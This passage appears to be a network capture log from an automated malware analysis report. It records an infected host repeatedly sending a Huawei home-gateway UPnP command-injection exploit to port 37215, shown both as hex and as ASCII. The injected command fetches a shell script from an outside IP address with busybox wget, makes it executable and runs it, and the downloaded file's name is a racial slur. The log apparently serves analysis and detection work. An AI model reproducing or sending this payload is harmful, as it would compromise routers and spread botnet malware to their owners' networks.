63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:09.952285051 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:14.304075003 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:23.007905006 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
224	192.168.2.15	49018	31.136.73.181	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:06.098529100 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:06.656289101 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:07.744378090 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:09.952352047 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:14.304083109 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:23.007925034 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 